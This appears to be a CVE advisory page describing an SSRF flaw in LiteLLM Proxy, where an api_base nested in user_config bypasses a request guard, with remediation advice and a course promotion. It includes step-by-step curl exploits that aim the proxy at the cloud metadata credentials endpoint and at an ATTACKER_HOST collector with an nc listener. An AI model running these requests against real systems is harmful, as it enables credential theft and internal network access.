Listen to this Post
CVE-2026-59823 is a server-side request forgery vulnerability in LiteLLM Proxy, an AI gateway proxy server that routes requests to large language model APIs in OpenAI or native format. Prior to version 1.83.9, an authenticated caller holding a valid virtual key could smuggle an `api_base` parameter inside the `user_config` request body, bypassing the existing parameter guard. LiteLLM Proxy validates incoming request bodies with a function called is_request_body_safe, which is designed to block top-level `api_base` and `base_url` parameters that could redirect outbound requests to arbitrary hosts. However, this guard only inspected the two top-level keys of the request body and never descended into nested objects such as user_config. The `user_config` object is used to construct the outbound router for a request, meaning any `api_base` placed inside it directly influences where the proxy sends its server-side request. Because the guard did not cover user_config, an attacker could embed an `api_base` pointing to an internal or external host of their choosing, and the proxy would faithfully issue the outbound request to that destination. The vulnerability is classified as CWE-918 (Server-Side Request Forgery) and requires authentication with a valid virtual key to exploit. The impact is significant: an authenticated caller can make the proxy reach endpoints that the caller cannot otherwise access, potentially exposing internal services, cloud metadata endpoints, or other sensitive resources. The flaw was fixed in version 1.83.9, released on 2026-04-17, which ensures the request body validator inspects nested structures like `user_config` for banned routing parameters.
DailyCVE Form:
Platform: LiteLLM Proxy
Version: <= 1.83.8
Vulnerability : SSRF via user_config
Severity: Moderate
date: 2026-09-16
Prediction: 2026-09-30
What Undercode Say:
Minimal curl PoC for CVE-2026-59823
Requires a valid virtual key (sk-xxx)
curl -X POST http://TARGET:4000/v1/chat/completions \
-H "Authorization: Bearer sk-xxx" \
-H "Content-Type: application/json" \
-d '{
"model": "gpt-4",
"messages": [{"role": "user", "content": "hi"}],
"user_config": {
"api_base": "http://169.254.169.254/latest/meta-data/"
}
}'
Illustrative bypass logic: how is_request_body_safe missed user_config
The guard only checked top-level keys:
banned = ["api_base", "base_url"]
for key in request_body:
if key in banned:
raise ValueError("Blocked")
user_config was never iterated, so nested api_base passed through
The outbound router was then built from user_config, honoring api_base
Exploit: (Educational Purposes!)
Step 1: Confirm the target is running LiteLLM Proxy < 1.83.9
curl -s http://TARGET:4000/health
Step 2: Send a request with a nested api_base inside user_config
This redirects the proxy's outbound call to an attacker-controlled host
curl -X POST http://TARGET:4000/v1/chat/completions \
-H "Authorization: Bearer sk-xxx" \
-H "Content-Type: application/json" \
-d '{
"model": "gpt-4",
"messages": [{"role": "user", "content": "ping"}],
"user_config": {
"api_base": "http://ATTACKER_HOST:8080/collect"
}
}'
Step 3: Observe the incoming request on ATTACKER_HOST
The proxy sends its outbound request there, potentially with credentials
nc -lvnp 8080
Alternative: target cloud metadata service (AWS example)
curl -X POST http://TARGET:4000/v1/chat/completions \
-H "Authorization: Bearer sk-xxx" \
-H "Content-Type: application/json" \
-d '{
"model": "gpt-4",
"messages": [{"role": "user", "content": "x"}],
"user_config": {
"api_base": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}'
Protection: from this CVE
Upgrade LiteLLM Proxy to version 1.83.9 or later immediately. If immediate upgrade is not possible, restrict access to the proxy to trusted networks only and audit all virtual keys, rotating any that may have been exposed. Monitor outbound traffic from the proxy for unexpected destinations, particularly internal IP ranges and cloud metadata endpoints. Review the `is_request_body_safe` implementation in your deployed version to confirm it descends into nested objects such as `user_config` before routing requests.
Impact:
An authenticated caller with a valid virtual key can force the LiteLLM Proxy to issue server-side HTTP requests to arbitrary internal or external hosts. This enables access to endpoints the caller cannot otherwise reach, including internal administrative interfaces, cloud instance metadata services, and other services bound to localhost or private network ranges. The vulnerability can be used for reconnaissance, credential harvesting from metadata endpoints, or as a pivot into restricted network segments. Because the proxy may attach its own credentials or API keys to outbound requests, sensitive authentication material could be exposed to an attacker-controlled destination.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
